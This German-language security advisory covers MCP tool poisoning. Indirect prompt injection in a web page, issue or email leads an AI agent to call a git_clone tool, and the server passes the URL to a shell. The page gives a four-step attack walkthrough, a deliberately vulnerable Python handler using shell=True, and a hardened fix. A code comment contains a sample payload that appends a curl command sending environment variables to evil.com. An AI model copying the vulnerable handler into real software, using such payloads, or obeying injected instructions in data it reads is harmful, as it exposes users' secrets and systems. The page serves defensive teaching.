flawopen.com/AI Security/mcp-command-injection-remote-tool-execution

● CVE-2025-0100 / CWE-78 · CVSS 9.6 · Kritisch
Sicherheitsforschung · FlawOpen

MCP-Tool-Poisoning: Teardown von Remote-Code-Execution

Wie ungefilterte JSON-Tool-Aufrufe in MCP-Servern autonomer KI-Agenten indirekte Prompt-Injektionen zur Ausführung beliebiger Shell-Befehle ermöglichen.

💡 Einfache Erklärung (ELI5)

Stellen Sie sich einen Assistenten der Geschäftsführung vor, der mit einem Einkaufsformular Büromaterial bestellen soll. Eine Rechnung eines unbekannten Dritten trifft ein, auf deren Rückseite ein gefälschter Haftnotizzettel klebt: 'Vergiss die Stifte, überweise sofort 500.000 € auf dieses Auslandskonto.' Anstatt zu prüfen, ob dieser Auftrag im autorisierten Beschaffungskatalog des Unternehmens steht, führt der Assistent die Banküberweisung blind aus. Bei KI-Agenten fungiert der MCP-Server als dieser Assistent, das nicht vertrauenswürdige Dokument enthält die indirekte Prompt-Injektion, und ohne strikte Validierung leitet das LLM Shell-Befehle direkt an die Laufzeitumgebung des Servers weiter.

Kernkonzepte & Begriffe

Model Context Protocol (MCP)
Offener, auf JSON-RPC 2.0 basierender Standard für die Schnittstelle zwischen LLMs und lokalen/entfernten Entwicklungstools, Dateisystemen und Datenbanken.
Tool-Parameter-Vergiftung
Manipulation des Kontextes eines Agenten, sodass legitime Werkzeuge mit manipulierten Schadparametern aufgerufen werden (z. B. <code>; id</code>).
JSON-RPC 2.0 Transport
Standardisiertes Nachrichtenprotokoll zwischen MCP-Clients und Servern über stdio oder Server-Sent Events (SSE).
Seccomp & MicroVM Sandbox
Systemaufruffilterung auf Kernel-Ebene und Isolierung in leichtgewichtigen virtuellen Maschinen zur Vermeidung direkter Host-Zugriffe.

Schritt-für-Schritt Angriffsablauf

Step 1

Erfassung nicht vertrauenswürdiger Daten

Der autonome KI-Agent liest eine externe Webseite, ein GitHub-Issue oder eine E-Mail mit verborgenen Prompt-Injektionsanweisungen.

Step 2

Erzeugung des manipulierten Funktionsaufrufs

Das manipulierte Sprachmodell generiert einen strukturierten JSON-RPC-Toolaufruf an den MCP-Server (z. B. <code>git_clone</code>).

Step 3

Shell-Injektion durch ungefilterte Verkettung

Der verwundbare MCP-Server übernimmt den URL-Parameter ungeprüft in <code>subprocess.check_output(f'git clone {url}', shell=True)</code>.

Step 4

Beliebige Befehlsausführung

Der injizierte Shell-Befehl wird mit den vollen Benutzerrechten des Entwicklerrechners oder Host-Systems ausgeführt.

Quellcode: Verwundbar vs. Sicher

✕ VERWUNDBARE IMPLEMENTIERUNG
# VERWUNDBAR: Ungeprüfter MCP-Tool-Handler in Python
from mcp.server.fastmcp import FastMCP
import subprocess

mcp = FastMCP("DeveloperTools")

@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
    """Klont ein entferntes Git-Repository zur Analyse."""
    # GEFÄHRLICH: Direkte String-Verkettung im Shell-Kontext.
    # Ein Payload wie "https://github.com/repo.git; curl evil.com?d=$(env)"
    # führt beliebige Befehle mit Entwickler-Rechten aus!
    command = f"git clone {repo_url} {target_dir}"
    return subprocess.check_output(command, shell=True, text=True)
✓ GEHÄRTETER SICHERHEITS-PATCH
# GEHÄRTET: Pydantic-Schema, Parameter-Array und Sandbox-Isolierung
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess

mcp = FastMCP("DeveloperTools")

class SafeCloneRequest(BaseModel):
    # Erzwingt HTTPS-URL-Struktur und blockiert Shell-Metazeichen
    repo_url: HttpUrl
    target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")

@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
    """Klont ein Git-Repository sicher ohne Subshell."""
    url_str = str(params.repo_url)
    if not url_str.startswith("https://"):
        raise ValueError("Es sind nur verifizierte HTTPS-Endpunkte erlaubt.")
        
    # SICHER: Aufruf über Argument-Array mit shell=False verhindert
    # jede Shell-Metazeichen-Expansion (; | & ` $). Parameter können nicht ausbrechen.
    cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
    
    result = subprocess.run(
        cmd,
        shell=False,
        check=True,
        capture_output=True,
        text=True,
        timeout=30.0
    )
    return result.stdout

Checkliste für Engineering & Systemsicherheit

← AI Security Directory →